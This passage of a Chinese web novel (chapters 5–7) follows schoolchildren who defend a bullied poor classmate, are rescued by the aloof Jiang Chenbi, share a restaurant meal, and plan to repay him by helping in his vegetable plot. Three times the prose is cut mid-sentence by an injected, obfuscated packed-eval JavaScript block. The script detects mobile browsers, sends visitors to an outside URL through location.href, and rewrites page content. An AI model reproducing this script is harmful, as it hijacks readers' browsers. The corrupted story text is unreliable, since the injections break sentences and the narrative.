阳光落在他半边侧脸上,勾勒出清晰干净的轮廓,也给他周身镀上了一层安静的光晕。 关昭昭看着,心里便也觉得暖融融的。 她抱着自己的小书箱,脚步不自觉地放轻,像是怕惊扰了什么,径直穿过一排排书案,来到了江沉璧身旁的空位上。 她没发出什么大动静,只利落地将书本放在空案上,自己则灵巧地爬上了略高的凳子坐稳。 坐定后,她先悄悄松了口气,这才偏过头,看向身旁近在咫尺的人。 他没抬头,似乎完全沉浸在自己的世界里,关昭昭眨了眨眼,也没急着出声打扰。 过了片刻,她像是想起了什么,从小荷包里摸出一块用手帕仔细包好的松子糖,小心翼翼地放在两人书案中间。 江沉璧目光从书页上移开,瞥了一眼。 “昨日我娘新做的。” 关昭昭压低了声音,眼睛弯弯的,“可香了,你尝尝。” 说完她很自然地转回了小脑袋,开始整理自己的毛笔,小嘴里还哼着不成调的小曲,仿佛只是随手做了件再平常不过的事。 5. 第 5 章 松子糖在两人书案中间静静搁置了许久。 窗外的日影悄悄挪移了一小格,周围细碎的嘈杂声潮起潮落。 终于,一只修长干净的手从书页旁移开,两根手指随意地将它拈起。 前排的周子昌正眉飞色舞地说着家中新得的紫毫笔,余光不经意间扫过后排,话音便微妙地顿了一瞬,随即嘴角扯出一抹略带讥诮的弧度。 他用手肘碰了碰身旁的人,下巴朝后排的方向抬了抬,声音压得不高不低,恰好能让周围一圈人都听清:“瞧见没?不愧是管家的儿子,这殷勤献得不错。” 旁边一个穿着酱色绸衫的少年立刻会意,嗤笑一声接话:“那是,怕是觉得那位世子爷就算再落魄也比他们强,急着巴结呢。” 几声心照不宣的低笑在几人中荡开,目光再次有意无意地飘向后排时,众人的目光都多了几分不屑。 课间休息时,少年们三五成群,或讨论功课,或嬉笑打闹,却无人往后排那片区域多走一步,没有人主动跟三人搭话。 江沉璧对此早已习惯。 关昭昭则全心沉浸在和神仙哥哥吃了她给的糖的快乐里,对周遭微妙的气氛浑然不觉。 而陈满仓的全部心神,早被腹中那越来越响的“咕噜”声给占据了。他趴在桌上,小胖指头在桌面下偷偷数着时辰,只觉这上午长得像过了一年。 好容易捱到午时的钟声敲响,他精神才猛地一振,终于可以吃饭啦! 然而,当他冲到饭堂,看清今日的菜肴时,脸瞬间绿了。 只见眼前简陋的木托盘里,摆着一碟只见菜色不见油光的绿菜,一碗只飘着两三滴可疑油星的清汤,以及两个结实耐嚼的粗面馒头。 这……这连他家里最下等粗使仆役的饭食都不如!至少府上的馒头是雪白的,汤里是有肉味的! 陈满仓盯着那托盘,胃里一阵翻江倒海,最后一点忍耐力都消失了。 于是他觑了个空,捂着咕咕叫的肚子,做贼似的溜到了书院侧门。 隔着院墙,他摸出一块碎银,拦住了一个从书院外路过的挑夫,一番比划加承诺加钱,总算让对方同意跑腿,去隔壁街醉仙楼买几个硬菜并一包点心回来。 等待的时间格外漫长。 陈满仓靠在书院斑驳的墙上,眼巴巴地望着挑夫离开的方向,鼻子仿佛已经闻到了红烧蹄髈和桂花糖藕的香气,口水在嘴巴里泛滥成灾。 他已经在心里盘算好了,蹄髈要肥瘦相间的,糖藕要多浇桂花蜜,再来一笼热腾腾的汤包,咬开一个小口,吸溜一口鲜汤,那滋味…… 正想得入神,墙内另一头忽然传来一阵嘈杂的推搡和几声不怀好意的哄笑。 陈满仓连忙偷偷探出头打量,只见不远处,四五个半大少年正围着一个身形格外瘦弱的布衣少年。那被围住的少年低着头,怀里紧紧抱着一个破旧的书袋,靠在墙根浑身发抖,像一只被群狼围住的幼鹿。 “听见没有?你爹等着抓药,哥儿几个也等着钱买酒呢!”一个吊梢眼的少年抬脚踢飞了一块石子,石子“啪”地打在瘦弱少年小腿上,让他浑身一颤,却没敢吭声。 “我……我没有……”细若蚊蚋的辩解带着哭腔,被淹没在混混们的嗤笑里。 “你说没有就没有?我要搜搜看!”旁边一大个子啐了一口,直接伸手抢过了那破旧的书袋。 瘦弱少年如同受惊的幼兽,爆发出惊人的力气,死死护住书袋,围着的几个少年立刻一哄而上,粗暴地拧住他细瘦的胳膊,将他死死按在地上。瘦弱少年很快便动弹不得,脸憋得通红,绝望地闭上了眼睛。 陈满仓远远看着这一幕,下意识地攥紧了怀里剩下的银子,这时,他忽然看到那被按在地上的少年衣服肘部磨得发白,还打着个歪歪扭扭的补丁……这让他脑子里莫名闪过江沉璧那张没什么表情的脸。 那家伙身上也有补丁,陈满仓皱起眉头努力回想,他在崇文馆也听过不少关于这位平南侯世子的闲话,可再怎么着,那人也是正儿八经的侯府世子,身上的衣衫虽然旧却始终整洁。 而眼前这个呢?这粗劣的布料,潦草得仿佛随时会散开的针脚,还有吓得连哭都只敢小声呜咽的……这好像才是正儿八经穷酸的模样。 一阵说不清的焦躁涌了上来,陈满仓不由在心中呐喊,你打呀!傻愣着干什么,光哭顶屁用!他几乎要替那少年喊出来,可随即又觉得这个念头混账,好像在盼着人家挨打? 实在不行学学那家伙呀,瞧瞧人家昨天那镰刀甩的…… 这念头刚冒尖,他自己就噎住了,呸,想什么呢,他这岂不是把自己跟那帮混账归到一边去了? 想到这,陈满仓叹口气稍微定了定神。算了,关他什么事?他后天就走了! 他用力扭过头,再次眼巴巴地望向空荡荡的门口,挑夫呢?!我那醉仙楼好菜怎么还没影! 就在这时! “嘶啦——” 布料撕裂的声音在安静的小林里显得格外刺耳。 陈满仓的心跟着重重一跳,他猛地回头,就见那瘦弱少年的书袋被撕开一道口子,几枚铜板叮叮当当滚落在地,沾满了泥土。 瘦弱少年愣了一瞬,随即像疯了一样挣扎起来,拼命去够那些铜板,可旁边突然有一只脚重重踩了上去,把那几枚铜板碾进了泥里。 “你爹的药?哈哈哈……”吊梢眼笑得前仰后合,“拿这玩意儿买药?买棺材板都不够吧!” 陈满仓的拳头攥紧了,他也不知道自己在气什么。气那些混混?气那少年的软弱?还是气自己……明明站在这儿,却什么都不敢做? 就在这时,身后突然传来一声脆生生的喝止: “你、你们……快住手!不许欺负人!” 陈满仓脑子“嗡”的一声。 是关昭昭。 她怎么跑出来了?! 关昭昭原本是出来找陈满仓的,午膳时没在饭堂见到他,她心里便忍不住琢磨:是不是自己光顾着神仙哥哥,冷落了跟她一起同甘共苦的满仓哥哥,所以不高兴跑掉了? 这么一想,她便坐不住了,趁着四下无人留意,自己顺着书院侧门溜了出来,一路寻到了这里。 此刻,她正站在小径外,脸蛋因为小跑而有些红扑扑的,她睁大了眼睛,惊讶地看着眼前这般从未经历的场面。 她没见过这个。 将军府里没人敢这样对她,爹娘把她护得严严实实,连大声斥责都少有。她见过的最大的恶意,不过是学堂里有人酸溜溜地说几句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341077|199327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪话。 可眼前的小哥哥被按在地上,已经怕极了都不敢哭出声,就那么憋着,憋得浑身发抖。 关昭昭忽然觉得鼻子有点酸,她想,要是有人这样欺负她,爹爹一定会把那人拎起来扔出去。可是这个哥哥的爹爹呢?还在家里等着他买药回去…… 一这样想,她心里头就闷闷的,像被什么东西堵住了一样难受。 为首的吊梢眼听见动静,扭头看了过来,见是个穿着半旧布衣的小不点,他愣了一下,随即从鼻子里挤出一声不屑的嗤笑。 “哪儿钻出来的小不点,毛都没长齐就学人逞英雄?识相的就赶紧滚远点儿,不然连你一块儿收拾!听见没?” 关昭昭看着对方凶巴巴的眼神和围过来的几个人,下意识地往后挪了一小步,白白嫩嫩的小手不自觉地揪紧了衣角。 但她没有跑,而是仰起小脸,声音因为紧张而更显软糯,却一字一句说的很清楚,“可你们不能打人!” 那声音嫩得像刚抽条的柳芽,落在这剑拔弩张的角落里,显得轻飘飘、软绵绵的。 吊梢眼愣了愣,随即大笑起来,笑得前仰后合,仿佛听到了天底下最好笑的笑话。 “不能打人?”他抹了抹笑出来的眼泪,朝旁边两个同伙一努嘴,“听见没有?这小崽子教咱们不能打人!” 两个面相不善的半大少年立刻咧开嘴,露出不怀好意的笑容,摩拳擦掌地朝关昭昭逼近,他们高大的身影挡住了阳光,投下的阴影将娇小的关昭昭完全笼罩。 关昭昭仰着头,看着那两座山一样压过来的身影,心跳得咚咚响,她想起爹爹的那些拳脚,可她从没认真学过,此刻一点儿也使不出来。 但她还是站着没动。 “你们不准碰她!” 一声大喝骤然炸开。 陈满仓也不知哪来的勇气,胖胖的身体猛地从墙角阴影里冲了出来,虽然自己吓得脸色发白,却结结实实地挡在了关昭昭面前,把她往后护了护。 “哟呵,还来个护花使者?”吊梢眼少年乐了,眼神一狠,“一块儿收拾了!” 陈满仓的腿在发抖,他也不知道自己怎么就冲出来了。明明刚才还在想着关我什么事,可看见那帮人朝关昭昭走过去,他脑子还没转过来,身体就已经动了。 关昭昭被陈满仓挡着,又急又怕,踮着脚从他肩膀后露出半张小脸,她看见那吊梢眼已经攥紧了拳头,手臂上的青筋都暴了起来,爹爹说过,打人的拳头落在身上,是很疼很疼的。 于是她睫毛颤啊颤的,眼眶已经开始发酸。 就在那拳头裹挟着风声,眼看要砸在两人身上的瞬间! “咻——咚!” 一道凌厉的破空声骤然划过,紧接着便是硬物狠狠击中身体的闷响。 “哎哟!!我的头!” 只见那刚刚举起手臂的吊梢眼动作猛地一僵,随即像是被火烫到般猛地捂住额头,发出一声的痛呼,随即,指缝间肉眼可见地鼓起了一个通红的大包。 周围瞬间安静了。 只剩下吊梢眼压抑不住的抽气声,和风吹过树叶的沙沙声。 所有目光下意识地转向石子飞来的方向。 小径尽头,一道清瘦的身影逆着光走来。 6. 第 6 章 江沉璧不知何时站在了那里,右手随意提着一根结实的木棍,左手还漫不经心地掂着一颗小石子。他脸上没什么表情,目光扫过众人,在吓得像两只鹌鹑的关昭昭和陈满仓身上多停留了片刻。 关昭昭这时眼睛“唰”地亮了,她一下子忘了害怕,从陈满仓身后探出整个小脑袋,声音里带着自己都没察觉的委屈,脱口而出: “江兄!” 江沉璧其实也没想明白自己怎么走到了这里。 他本是要去照看山长雇他打理的那片菜地,途经这片树林时,无意间瞥见关昭昭独自一人朝着书院侧门方向跑。他犹豫了一下,还没等思忖清楚,人却已经拐进了这里。 罢了。他想,就当是还她早上那块糖的人情。 “敢动我们老大?兄弟们,抄家伙,废了这小子!”五个半大的少年顿时眼露凶光,仗着人多势众,一拥而上,乱七八糟地朝江沉璧招呼过去。 江沉璧的身影在那杂乱的攻击中显得异常冷静,他甚至没有后退半步,只是脚下微动,侧身、偏头、格挡,几个动作便精准地避开了所有攻击。 手中那根不起眼的木棍,在这一刻仿佛有了生命,或点或拨,或扫或挑,每一次挥动都带着恰到好处的力道,落在对方的手腕、膝弯这些最吃痛却不易留伤的部位。 眼前这几个只会虚张声势的半大混混,哪里是自幼为了多吃一口肉而扎扎实实习武多年的江沉璧的对手。 毕竟,在他父亲的规矩里,唯有当他完成当日习武的课业后,饭桌上才会破例多添一只泛着油光的鸡腿,而平日……家里都是只喝稀饭的。 “哎哟!” “我的腿!” “别、别打了!” 混乱中夹杂着猝不及防的痛呼和惊叫。 冲在最前的两人只觉得手腕剧痛,酸麻瞬间传遍整条胳膊,再也握不住拳,旁边扑上的一个被棍尾扫中膝窝,当场就跪了下去,还有个想从背后偷袭,却被看似随意后撤的一步恰好让过,紧接着小腿胫骨就挨了一记,疼得龇牙咧嘴。 几乎就在几个呼吸之间,刚才还气势汹汹的五个人,已经以各种扭曲的姿势躺倒在了地上,捂着痛处呻吟翻滚,再没了先前的嚣张气焰。 小林里骤然安静下来,只剩下一帮人压抑的抽气声。 接着,江沉璧手中木棍“啪嗒”一声,被随意丢在了地上。 这一刻,关昭昭和陈满仓两人都安静极了。 关昭昭仰着小脸,眼睛一眨不眨地望着江沉璧。在她心里,爹爹自然是顶顶厉害的,能举起石锁,能百步穿杨,是威风凛凛的虎将。 可眼前的神仙哥哥……却是不一样的厉害!就像她偷偷藏在枕头底下那些话本里写的,剑光一闪便了却纷争,甚至衣角都不曾乱半分的大侠客! 陈满仓则长长地舒了一口气,后背的冷汗被风一吹,有些凉飕飕的。 他摸着自己完好的胖胳膊胖腿,心里只剩下一阵阵后怕!祖宗保佑!昨天在菜地认怂,真是我陈小爷这辈子做过最英明的决定!他几乎能想象到,要是自己当初不服,那下场估计不比眼前这帮人好多少。 江沉璧转过身来。 猝不及防地对上了两道目光,一道幽怨得像受了天大的委屈,活像他欠了那小胖子八百两银子没还。 而另一道……则亮晶晶的,像是映着太阳,明晃晃地往他身上照。 照得他浑身都不自在起来。 他甚至能预感到,下一秒那张嘴里又要蹦出那些直白又烫耳的话来了。 “我还有事。” 江沉璧甚至没敢再敢多看一眼,转身便走,他步子迈得平稳,脊背挺得笔直,看着倒还是那个清冷疏离的世子爷,只是那背影怎么看怎么透着一股仓皇,像身后追着什么撵人的东西。 “诶呀!江兄等等!还没跟你道谢!”关昭昭这才回过神,拔腿就想追,小手还不忘拽住旁边陈满仓的袖子,想拉他一起。 陈满仓却一点也不想走,抬起另一只手指了指地面,“还是先别追了,这儿还躺着一个呢。” 关昭昭顺着他指的方向一低头,这才“呀”地轻呼一声,立刻松开陈满仓,蹲下身凑到那个依旧微微发抖的瘦弱少年旁边。 午后的阳光斜斜照进林中,照清了少年身上打了好几个补丁的灰布单衣,看起来脏兮兮的。 关昭昭不由得将声量放小了些,“你还好吗?有没有哪里疼?别害怕,那些坏人都被打跑啦。” 那瘦弱少年身体仍在害怕地轻颤,听见她说话,似乎抖得不那么厉害了。 “我……我没事。” 说着,不等关昭昭伸手去扶,他伸出细细的胳膊肘撑住冰冷粗糙的地面,很吃力地试图站起来,同时下意识避开了关昭昭伸到一半想要搀扶的手,头垂得更低,声音带着明显的局促,“……别,别碰,我身上脏。” 一旁的陈满仓这会儿才看清,这少年站起来越发显得瘦骨伶仃的,像棵营养不良的豆芽菜,脸上灰扑扑的沾着尘土,几绺枯黄的头发汗湿地贴在额前,整个人瑟缩着,活脱脱像只耗子似的。 关昭昭闻言,非但没有松开,反而毫不在意地握住了少年垂在身侧的手。 然而,就在指尖触及那片皮肤的刹那,她整个人都愣住了。 那双手很小,指节却有些粗大,皮肤粗糙皴裂,布满细小的新旧伤痕和厚厚的老茧,触感居然跟爹爹那双布满厚茧的大手是一样的…… 关昭昭心突然莫名地揪了一下,闷闷的疼。 “没事的!”她一把抓住那只往回缩的手,另一只手已经伸出去,软软的指腹轻轻蹭过他的脸颊,把那道灰痕擦掉了,动作自然得仿佛做过一百遍。 “脏了拍拍就好啦,你看,我也蹭到灰了。” 她说着,小手往自己衣角一指,那儿确实蹭了一块灰,然后她抬起脸,冲他绽开一个毫无阴霾的笑,“我叫关昭,昭昭若日月的昭,小哥哥怎么称呼?” 指尖温热。 少年被她碰到的那一瞬,整个人像是被什么定住了。 他飞快地抬了一下眼,目光刚触到那张笑脸,又像被烫着似的慌忙垂下,嘴唇嚅动了好几下,才终于挤出几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341078|199327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字,轻得像蚊蚋,“我、我叫苏细,粗细的细……爹爹平日都叫我阿细。” “阿细。”关昭昭把这个名字含在嘴里念了一遍,认真点头道:“好听的名字,细细的,轻轻的,像春天的小雨!” 苏细的头埋得更低了,耳根的红却悄悄爬到了脸颊上。 关昭昭歪着脑袋看了他一会儿,觉得这人可真有意思,明明比她高半个头呢,怎么缩起来比她还小只? 她又在他旁边蹲下来,两只手托着腮,眨巴眨巴眼睛。 “阿细,我们现在是朋友啦!”她说得理直气壮,好像交朋友这事儿根本不需要对方同意似的。 苏细抬起眼,有些茫然地看着她。 朋友? 他从没听过有人用这么轻快的语气说这两个字,好像它们本就该待在一起,好像这是天底下最自然不过的事。 “真的!”关昭昭见他不信,干脆一屁股坐在地上,掰着手指头给他算账,“你看啊,我和满仓哥哥,我们俩也穷得很!” 不远处的陈满仓耳朵动了动。 “我们的爹爹都是府里的管家,一个月挣不了几个铜板,我们来这儿念书,还是东拼西凑借的束脩呢!” 她说得情真意切,自己都快信了。 苏细张了张嘴,又闭上了。 眼前这个小少年,穿着虽然素净,可手指白嫩得像剥了壳的鸡蛋,指甲盖儿上还透着淡淡的粉,怎么看也不像…… 可她的眼睛实在太亮了,就这么干干净净地望着他,没有一丁点儿拐弯抹角的东西。 “所以你不用怕我们,”关昭昭说着往前凑了凑,压低声音,像在分享什么了不起的秘密,“咱们都这么穷,真是穷到一块去啦!以后有人欺负你,你告诉我,我和满仓哥哥都能帮你!” 陈满仓听着关昭昭这番煞有介事的发言,小胖脸上的表情已经彻底麻了,他甚至也懒得反驳。 算了,他麻木地想。 反正他的人设,从踏进这个书院那一刻起,就已经被关昭昭亲手撕得稀巴烂,什么将门虎子,什么螃蟹过街横着走,他现在就是一只被按在地上摩擦的胖猫,留下的只有一地猫毛。 幸好,陈满仓在心里默默安慰自己,再忍两天他就能离开这个鬼地方了。他闭上眼睛,深深吸了一口气,又缓缓吐出来,整个人都透着一股认命般的平和。 苏细怔怔地看着关昭昭,嘴角动了动,像是想笑又不太敢笑的样子,终于轻轻点了一下头。 “……嗯。” 关昭昭这才心满意足,刚要再说点什么,突然,墙外一声拖长了调子的吆喝打断了她。 “刚才那位小少爷可在?醉仙楼的席面送到喽!” 三人齐刷刷扭头。 书院矮墙外,一个穿短褐的挑夫正踮着脚往里张望,肩上压着一副沉甸甸的挑子。 挑子里正放着一朱红漆的食盒,盖子似是没盖严实,正往外噗噗冒着热气,一股子油香混着肉香顺着墙头飘进来,霸道得很,直往人鼻子里钻。 关昭昭眼睛一下子睁圆了:“???” 7. 第 7 章 陈满仓不自觉打了个激灵,一抬头,正对上关昭昭看过来的目光。 那目光清清亮亮的,就那么看着他,里头什么话都没有,可还是把他吓得脸上的肉都抖了三抖,立马此地无银三百两道:“我不是!我没有!这可跟我没关系啊!” 关昭昭眨巴眨巴眼睛,歪着小脑袋瞅他。她明明什么也没问,满仓哥哥倒先跳起来了,活像从前爹爹站在演武场上,也不说话,就那么背着手往那儿一站,眼睛往下一扫,哪个偷懒耍滑的兵卒立马就老实了,恨不得把自己缩进地里去。 她不知道自己有没有爹爹那种本事,只觉得满仓哥哥现在这个样子,活脱脱就是一只被当场逮着偷吃小鱼干的胖猫,有趣极了。 关昭昭抿了抿嘴,到底没忍住,眼睛弯了弯。 可陈满仓显然不这么想,他眼珠子一转,手指头立刻指向地上那几个还在哎哟叫唤的混混,“肯定是他们点的!你看他们那满脑肥肠的样儿,像是能错过饭点的人吗?” 地上几个人正捂着脑袋哎哟哎哟地哼唧,闻言猛地抬头,眼睛里写满了问号:???我们?我们要是点得起醉仙楼,还犯得着来抢这几个铜板?! “要不——” 陈满仓一骨碌凑到关昭昭跟前,小眼睛眨巴眨巴,“咱们认下吧?反正都送来了,不吃白不吃啊!你看那味道多馋人……不是,我是说,浪费粮食可不好!” 关昭昭没说话,只拿眼瞅着那食盒。 朱红的漆面,锃亮的铜包角,一看就不便宜。她本想直接摇头,可目光一飘,落在了苏细那张瘦得颧骨都凸出来的脸上,此时睁正呆呆地望着食盒的方向,悄悄舔了一下嘴巴。 就这一下,关昭昭到嘴边的“不”字,便没来得及说出口。 陈满仓已经像颗小炮弹似的弹出去了,他噔噔噔冲到院门口,一把抢过挑夫手里的食盒,挥挥手跟赶苍蝇似的把人打发走,然后抱着那宝贝疙瘩跑回来,冲她和苏细一扬下巴,迫不及待道:“走!饭堂这会儿没人了,咱们找个角落慢慢吃!” 三个人溜进空荡荡的饭堂,寻了个最里头的角落坐下。 这饭堂白日里热热闹闹的,一到这会儿就冷清下来,桌凳都归置得整整齐齐,空气里还残留着中午饭菜的味道。 陈满仓把食盒往桌上一墩,掀开盖子,热气便一下冒了出来。 关昭昭低头看去,只见食盒里摆着油亮亮的八宝鸭、金黄酥脆的炸春卷、热腾腾的蟹粉包子、还有一碗撒了桂花糖的糯米藕,淋着桂花糖,瞧着就甜滋滋的。 陈满仓已经迫不及待了,抓起个春卷就往嘴里塞,烫得龇牙咧嘴也不肯吐,含含糊糊地招呼,“吃吃吃,你们也赶紧趁热吃!” 关昭昭已经吃过了,不怎么饿,只夹了一块糯米藕在口中细细地嚼着,半晌,她的目光不经意落在对面安安静静扒饭的苏细身上。 苏细吃饭的样子和旁人不太一样,他低着头,筷子动得很快,却几乎不发出声响,只夹自己跟前的春卷,那盘油汪汪的鸭子连看都没看一眼,仿佛那是什么不该碰的东西。 关昭昭看了一会儿,忽然开口,“阿细,你爹是做什么的呀?”她问得很自然,语气里满是好奇。 在她想来,交朋友不就是这样的么?先问问你住哪儿,你爹做什么,家里几口人,这样以后就能一起玩了。 可苏细却半天没吭声。 他低下头,盯着碗里的饭,沉默了片刻才道:“我爹爹,是收夜香的。” “每天天不亮,”苏细说得很慢,像是在说一件很平常的事,“他就得推着车,挨家挨户收夜香。” 说着他顿了顿,视线仍旧回避着他们,“我有时候也跟着去,帮着爹爹抬桶,干点杂活。” 饭堂里忽然安静下来。 窗外风吹过树叶的沙沙声变得格外清楚,远处隐约传来人声,连陈满仓嚼东西的响动都变得格外的小。 关昭昭却听得有些茫然,她想问夜香是什么,可一回头正看见陈满仓脸上那掩都掩不住的嫌弃,像是听见了什么脏东西似的。 她到嘴边的话又咽回去了。 “山长心好。”苏细又开口了,这回声音更轻了些,“见我认得几个字,念书也肯用功,就许我来听课,不收束脩。” 他顿了顿,“所以……我不能惹事,惹了事,山长就不让我来了。” 关昭昭心里一时说不上来是什么滋味。 她想起学堂里那些围着他们起哄的人,又想起苏细被打倒在地上,缩着身子不敢动的样子,只觉得心疼极了。 于是她筷子一伸,把食盒里那只油汪汪的鸭腿夹起来,直接放进苏细碗里。 苏细愣了一下,猛地抬起头,像是惊讶,像是慌张,还有点儿不知所措。 却见关昭昭冲他自信一笑,“以后你就不用怕啦!你看见江兄没有?他可厉害了!有他在就没人敢欺负咱们啦!” 苏细低头看看碗里那只鸭腿,又抬头看看她,愣了好一会儿,才重重地“嗯”了一声,像是终于松了口气似的,那一直绷着的脸上,总算有了点笑模样。 旁边陈满仓嘴里塞得鼓鼓囊囊,眼神诧异地看了关昭昭一眼。 不是…… 江沉璧那小子,什么时候跟她关系这么好了? …… 认识了苏细之后,关昭昭才开始弄明白这青松书院是怎么回事。 原来这青松书院分了三斋,蒙学斋是给刚开始念书的小孩准备的,进学斋是正经读书的地方,明经斋则要厉害得多,里头都是要考功名的人。苏细在进学斋,她和满仓哥哥却进了明经斋。 这明经斋比进学斋还要高一级,按她肚子里那点墨水,其实该去蒙学斋从头念起,至于满仓哥哥,关昭昭偷偷观察过,他好像也没比她强多少,背书时眼睛总是往上翻,翻半天也翻不出几个字来,大概勉强够上进学斋的边儿。 想到这儿,她忍不住偷偷用余光往旁边瞥了一眼。 午后的日光从窗棂斜斜照进来,正落在江沉璧身上,他低着头看书,长长的睫毛垂下来的时候,在眼睑上落了一小片淡淡的影子,像两小片羽毛轻轻覆在那儿。偶尔眨一下,那影子就跟着动一动,像是蝴蝶在花瓣上停了一下,又飞走了。 关昭昭看着看着,就想起中午的事来,她当时说了谢谢,可他说什么来着?好像什么也没说。 她皱了皱眉头。 明明她是真心实意说的呀,说得可真诚了。可为什么到了他那儿,就跟没说一样呢?如果只说谢谢不够,那她应该做点什么呢? 关昭昭歪着脑袋想了想,没想明白。 是夜。 关昭昭躺在被窝里,翻来覆去睡不着,帐顶绣着一朵缠枝莲,娘说是连年有余的意思,可这会儿她怎么看,都觉得那条弯弯曲曲的藤蔓像一条小路。 她顺着那条小路走啊走,就走到了白天的事里。 想着想着,她翻了个身。 在平日里,若是谁帮了她,娘亲总是会备一份厚礼送过去,什么人参鹿茸、绫罗绸缎,或者干脆包一封银子……可这些东西她却是没办法送给他的。 关昭昭又翻了个身,被子窸窸窣窣响,守夜的丫鬟隔着帘子小声问了一句,“小姐,睡不着么?” 关昭昭赶紧闭上眼睛装睡,呼吸放得轻轻的,可眼睛闭上了,脑子却还在转,转到后来她自己都分不清是在想事还是在做梦了。 也不知转了多久,忽然一个念头浮现在脑海! 她想起江沉璧每天都要去山长院子旁的菜地里忙活,一个人弯着腰锄草、松土、浇水,那么大一片地,他一个人干,得多累啊……要是她去帮忙呢? 关昭昭一下子睁开眼睛。 对呀!她可以帮他干活,虽然这些活儿她没干过,可她看着也不难,就是举起锄头落下去,跟吃饭拿筷子也没什么两样。 总比只说句谢谢强! 关昭昭越想越觉得这个主意不错,在被窝里轻轻滚了半圈,滚到一半想起来自己还在装睡,赶紧僵住不动。 还好,外头的丫鬟没再出声,只有窗外远远传来更夫的梆子声,笃、笃、一下一下的,才又睡了过去。 次日一大早,陈满仓听完关昭昭的报恩计划,表情立马变得跟生吞了一只苦瓜差不多。 “帮忙干活?”他眼睛瞪得溜圆,“锄草?松土?在、在那个全是泥巴和虫子的菜地里?” 关昭昭用力点头,连发带也跟着晃动,“对!我们三个人一起干,很快就干完啦!” 她仰着脸,眼睛亮晶晶地望着他,“满仓哥哥你锄过草没有?我还没锄过呢,不过肯定不难,我看我娘院子里的花匠锄过好多回啦!” 陈满仓张了张嘴。 他想说:光看过有什么用?我还看过我家的厨子杀鱼呢,我也没亲自上啊! 可话到嘴边,又咽回去了。 他太了解关昭昭了。 这丫头看着软乎乎好说话,可真要认准了什么事,九头牛都拉不回来。他要是敢说不去,她能在这儿跟他磨到天黑!磨到他耳朵起茧子、脑袋发蒙,磨到他最后自己都忘了自己为什么不想去…… 既然如此,还不如…… 他眼珠子骨碌碌一转,胖脸上挤出个笑来,“行行行,我陪你,反正……反正我最近正好想活动活动筋骨。” 关昭昭这才满意地笑了。 好不容易熬到放学,学堂里乱哄哄的,大家三三两两往外走。关昭昭一直盯着江沉璧的动静,见他起身往外走,立刻拽起陈满仓就跟了上去。 两人远远坠在后头,穿过书院的月洞门,朝着山长院子的方向走,关昭昭心里正高兴着,突然…… “哎哟!”陈满仓停下来捂着肚子,嘴里发出了一声惨叫。 关昭昭被他吓了一跳,急忙回头,“怎么了怎么了?” “不行不行了!我肚子疼!”陈满仓眉头皱成一团,弯着腰,脸都快贴到膝盖上了,“疼疼疼!肯定是早上那碗粥有问题!我、我得去趟茅房!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341079|199327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说着,脚底下已经开始往后挪,“你先过去!等我啊,我马上就回来!” 话音还没落,他已经转过身,圆滚滚的身影一溜烟儿蹿进了来时的巷子,跑得比兔子还快。 关昭昭站在原地,愣愣地看着他消失的方向。 于是她等了一会儿。 又等了一会儿。 等着等着,太阳顺着天边的云彩往下又挪了一大截,菜地里的人影弯腰又直起,直起又弯腰。 她抬头看一眼菜地,江沉璧似乎也发现了她,直起腰来朝她这边看了一眼,然后又低下头继续锄草。 关昭昭忽然就明白了,陈满仓那个不讲义气的家伙,是真的不会回来了! 她气得跺了跺脚,小脸鼓成个包子,在心里把陈满仓翻来覆去骂了好几遍!可骂完又能怎样呢?人都跑得没影了,她总不能也学他捂着肚子“哎哟”一声跑掉……那也太没出息了! 夕阳的余晖斜斜地洒下来,把整片菜地染成暖融融的橘红色。江沉璧还在那儿锄草,一下一下的,动作又快又稳,锄头落下去,翻起一撮泥土。 关昭昭站在边上,看着看着就忘了自己是来干什么的。他低着头,露出好看的侧脸,眉峰清隽,不浓不淡,恰到好处地斜飞入鬓,偏长的眼尾微微上挑,漆黑的眼底干干净净的,像一汪看不见底的深潭。 她睁大眼睛看着他额角沁出一滴亮晶晶的汗珠,顺着白皙的脸颊往下滑,滑到下巴尖,悬在那儿,颤了颤,最后落进泥土里。 眼看着那汗珠落下去,关昭昭终于深吸一口气,抬脚踩在田埂上,小心翼翼地走了过去。 “江兄!” 江沉璧直起腰,回过头来看她,那张脸上依旧没什么表情,只是眉头微微动了一下,像是有点意外她怎么还没走,“找我有事?” “我来帮你锄地!”关昭昭挺起小胸脯,努力让自己看起来很有用的样子。 江沉璧抬起头,目光落在关昭昭身上。 那张脸白白净净的,像上好的羊脂玉,黑葡萄似的眼睛此刻正亮晶晶地望着他,里头盛满了期待。 他眉头不自觉微微拧了一下。 自己见过太多世家子弟,却没哪个是这样的。 